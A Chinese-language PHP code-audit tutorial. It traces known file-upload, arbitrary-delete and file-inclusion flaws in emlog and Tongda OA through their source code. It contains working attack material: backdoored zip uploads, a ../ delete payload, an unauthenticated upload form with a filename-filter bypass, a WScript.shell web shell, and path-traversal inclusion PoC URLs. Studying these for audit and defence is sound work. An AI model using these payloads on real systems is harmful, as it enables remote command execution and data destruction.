代码审计-PHP专题原生开发文件上传删除包含文件操作监控Zend源码解密1day分析
快速分析脆弱:
1、看文件路径
2、看代码里面的变量(可控)
3、看变量前后的过滤
文件安全挖掘点:
1、脚本文件名
2、应用功能点
3、操作关键字
文件上传,文件下载(读取),文件包含,文件删除等
emlog-文件上传&文件删除
搜索函数关键字或应用关键字:
流程:搜$_FILES->template.php->upload_zip->emUnZip
流程:搜安装或上传等->template.php->upload_zip->emUnZip
https://www.cnvd.org.cn/flaw/show/CNVD-2023-74536
1、压缩默认模版目录
2、压缩一个带后门模版
3、上传带后门模版压缩包
流程:搜$_FILES->plugin.php->upload_zip->emUnZip
流程:搜安装或上传等->plugin.php->upload_zip->emUnZip
https://www.cnvd.org.cn/flaw/show/CNVD-2023-74535
1、压缩默认插件目录
2、压缩一个带后门插件
3、上传带后门插件压缩包
流程:搜unlink->data.php->action=dell_all_bak->bak[]
https://www.cnvd.org.cn/flaw/show/CNVD-2021-41633
1、/admin/data.php?action=dell_all_bak
2、bak[1]=../xxx.php
上传漏洞复现
这里有一个安装模板功能,漏洞点就在这里,我们把templates目录下的default文件压缩,里面写入一个phpinfo();
我们上传后再default目录下找到了1.php
上传漏洞审计
这里我们能看到请求URL为 http://127.0.0.1:85/admin/template.php?action=upload_zip
我们追踪到这个方法,就是参数action=upload_zip这里
并且前端页面的表单名就是tplzip
然后这里用emUnZip函数将压缩包中文件保存到templates目录下去
跟踪一下emUnZip函数,就是一个解压zip的过程
文件任意删除漏洞
复现:
在这里让变量$action等于dell_all_bak,然后提交bak用POST方法
在这里我们创建一个1.txt,然后尝试删除
这里爆出备份文件删除成功,我们去看一下
删除成功
利用文件监控器进行监控文件变化
拓展:
/admin/plugin.php?action=del&plugin=../../../1/txt&token=xxx
通达OA-文件上传&文件包含
源码加密:
1、观察
2、找资料
文件监控:file-jiankong.py
方便监控获取文件上传到什么地方
这里源码是加密的,我们解密一下
流程:找文件名->绕验证P->DEST_UID,UPLOAD_MOD->构ATTACHMENT
文件上传(文件名称):/webroot/ispirit/im/upload.php
1、设置P参数不为0
2、设置DEST_UID参数为1
3、设置UPLOAD_MODE参数为1,2,3
4、设置上传文件参数名为ATTACHMENT
关键点在于p,并且我们最终点要执行到这个点,就是upload这里,所有上面代码都要满足,不能退出,顺利执行到下面,所有我们就会有几个要求,p不为0,为0就会执行11行的else,就到了auth.php文件了,再往下
如果这里DEST_UID等于0,就会执行包含的代码,并且exit(),我们就没办法再往下执行了。所以这里DEST_UID要等于1
并且这里UPLOAD_MODE要等与1,2,3
并且上传的参数名为ATTACHMENT
else {
if (strtolower(substr($FILE_NAME,$POST +1, 3)) == "php")
return false;
}
所有我们得到下面的payload
这里有个过滤掉php文件,因此我们绕过一下
我们上传1.php.
这种格式,在php后面加一个.
或者使用监控脚本也能发现上传文件的位置
<html>
<body>
<form action="http://127.0.0.1/ispirit/im/upload.php"method="post"enctype="multipart/form-data">
<input type="text"name="P"value=1></input>
<input type="text"name="UPLOAD_MODE"value=1></input>
<input type="text"name="DEST_UID"value=1></input>
<input type="file"name="ATTACHMENT"></input>
<input type="submit"></input>
</body>
</html>
文件包含
流程:搜include_once->gateway.php->$url->$key->$json
文件包含(include_once):/ispirit/interface/gateway.php
绕过的poc
<?php
$command=$_POST['cmd'];
$wsh= new COM('WScript.shell');
$exec=$wsh->exec("cmd /c ".$command);
$stdout=$exec->StdOut();
$stroutput=$stdout->ReadAll();
echo$stroutput;
?>
绕过poc,然后post提交,我们使用ipconfig命令运行得到结果
poc1:
/ispirit/interface/gateway.php?json={}&url=/general/../../attach/im/xxxx/1600449966.1.txt
poc2:
/ispirit/interface/gateway.php?json={}&url=/ispirit/../../attach/im/xxxx/1600449966.1.txt
poc3:
/ispirit/interface/gateway.php?json={}&url=/module/../../attach/im/2310/1600449966.1.txt